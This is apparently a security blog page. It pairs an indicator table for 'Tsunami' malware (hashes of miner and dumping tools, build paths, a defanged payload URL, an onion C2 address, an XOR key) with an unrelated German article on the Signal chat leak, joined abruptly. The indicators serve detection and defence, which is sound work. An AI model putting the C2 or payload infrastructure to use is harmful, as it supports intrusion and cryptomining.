ValueTypeComment
3f424b477ac16463e871726cbb106d41574d2d0e910dee035fbd23241515e770SHA256Tor.exe
b25e1a54e9c53bf6367c449be46f32241d1fd9bf76be9934d42c121105fb497dSHA256AMD_Compute_Mode_Enabler.reg
bb3af0c03e6b0833fa268d98e5a8b19e78fb108a830b58b2ade50c57e9fc9bedSHA256ETHW_Miner.exe
f96744a85419907e7c442b13beeefb6f985f3905a992dfefee03820ec6570feaSHA256ldbdump.exe
2883b1ae430003f3eff809f0461e18694ee1e2bc38c98f9eff22a50b5043a770SHA256XMRig.exe
94186315edde9ab18d6772449bb0b33a37490c336fccbc81bc7a6b6b728232b1SHA256xmrig_config.json
11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5SHA256XMRig_Driver.sys
C:\Tsunami\Tsunami Stable\Tsunami Client\obj\Release\net6.0\win-x64\Runtime Broker.pdbPDB-Path
E:\Tsunami\Tsunami Stable\Tsunami Payload\obj\Release\net6.0\win-x64\Tsunami Payload.pdbPDB-Path
C:\Tsunami\Tsunami Stable\Tsunami Client\obj\Release\net6.0\win-x64\Runtime Broker.pdbPDB-Path
3769508daa5ee5955c7d0a5493b0a159e874745e575ac6ea1a5b544358132086SHA256Packed Sample from Onion
28660b81fd4898da3b9a861af716dc2ed60dd6a6eb582782e9d8451b1f257630SHA256Unpacked Sample from Onion
a2ae1da09f7508ff34bd9acc672b3cf456e053bb46d4aa3cd283a7f263e37acbSHA256
23.254.229[.]101IPv4
http://23.254.229[.]101/cat-video URLHosts Tsunami-Installer
e9571e21150d7333bfada0ef836adad555547411a2b56990da632f64d0262ef8SHA256
a2ae1da09f7508ff34bd9acc672b3cf456e053bb46d4aa3cd283a7f263e37acbSHA256cat-video
n34kr3z26f3jzp4ckmwuv5ipqyatumdxhgjgsmucc65jac56khdy5zqd.onionC2-
Domain
Sometimes you never know the value of a moment until it becomes a memoryString
Extensive documentation on this process has been included on
my YouTube channel: https://www.youtube.com/watch?v=QB7ACr7pUuE		String
headers = {„User-Agent“:“Mozilla/5.0″}String
XOR_KEY = b“!!!HappyPenguin1950!!!“String

Titel Signalgate
Schwachstelle

Signalgate

Die sogenannte Signal-Affäre hat in den letzten Wochen für erhebliche Aufregung in Washington gesorgt. Ein angesehener US-Journalist, Jeffrey Goldberg, wurde versehentlich in einen vertraulichen Signal-Chat der US-Regierung eingeladen, in dem hochrangige Regierungsvertreter militärische Operationen im Jemen diskutierten. Die Frage, die sich in diesem Zusammenhang stellt, ist, wie es zu diesem sicherheitsrelevanten Fauxpas kommen konnte. Wir können guten Gewissens ausschließen, dass es sich um einen Hack oder eine schadhafte Funktion in der Signal-App gehandelt hat, wie es von Seiten der amerikanischen Regierung anfänglich angedeutet wurde.

Der Signal-Messenger hat eine Schwäche im Design: Die Überprüfung, ob der Gesprächspartner tatsächlich derjenige ist, mit dem man kommunizieren möchte, liegt in der Verantwortung des Benutzers. Dies bedeutet, dass keine Sicherheitsgarantie für die Authentizität des Kommunikationspartners besteht. Signal bietet seinen Nutzern jedoch die Möglichkeit, die Authentizität ihrer Kommunikationspartner selbst zu überprüfen und dann in Signal zu vermerken. Diese Funktion wird jedoch in der Benutzeroberfläche nicht so prominent dargestellt wie beispielsweise bei Threema mit dem Ampelsystem. Erst durch die Überprüfung der Sicherheitsnummer über einen zweiten Kanal wird die Authentizität des Kommunikationspartners sichergestellt.

Die Nachlässigkeit, die Sicherheitsnummer nicht überprüft zu haben, wurde dem nationalen Sicherheitsberater Mike Waltz zum Verhängnis, da er die Personen nur aufgrund der in seinem Handy gespeicherten Telefonnummern in die betroffene Signal-Gruppe aufnahm. Aktuellen Berichten zufolge hat das Mobiltelefon von Mike Waltz die Telefonnummer von Jeffrey Goldberg aufgrund eines Fehlers in der automatischen Kontaktverknüpfung des iPhones einem bestehenden Kontakt zugeordnet.

Nicht ohne Grund gibt es für die Kommunikation, bei der nicht nur Nachrichten sicher verschlüsselt übertragen werden sollen, sondern auch die Authentizität aller Kommunikationsteilnehmenden zuverlässig und dauerhaft sichergestellt sein muss, zertifizierte Lösungen, die zentral von einer der Geheimhaltungsstufe entsprechenden vertrauenswürdigen Stelle betrieben werden. Diese Stelle übernimmt auch die Registrierung und Prüfung der Authentizität von Teilnehmenden. Warum eine solche Kommunikationsplattform in diesem Fall nicht verwendet wurde, darüber kann nur spekuliert werden.

https://t3n.de/news/geheimchat-affaere-usa-signal-gewinner-1680595

https://www.br.de/nachrichten/deutschland-welt/signal-affaere-pentagon-ermittelt-gegen-eigenen-chef-hegseth

https://www.heise.de/news/Signal-Affaere-US-Journalist-angeblich-dank-iOS-Funktion-in-geheimem-Gruppenchat-10342141.html

https://www.t-online.de/nachrichten/ausland/usa/id_100668006/signal-affaere-wie-jeffrey-goldberg-vom-atlantic-in-die-chatgruppe-kam.html

https://www.theguardian.com/us-news/2025/apr/06/signal-group-chat-leak-how-it-happened

https://www.heise.de/news/US-Verteidigungsminister-Pentagon-Aufsicht-prueft-Verhalten-in-Signal-Affaere-10340035.html

https://www.heise.de/news/US-Regierung-Austausch-ueber-die-Krisen-der-Welt-in-viel-mehr-Gruppenchats-10339137.html

https://threema.ch/de/faq/levels_expl

https://support.signal.org/hc/de/articles/360007060632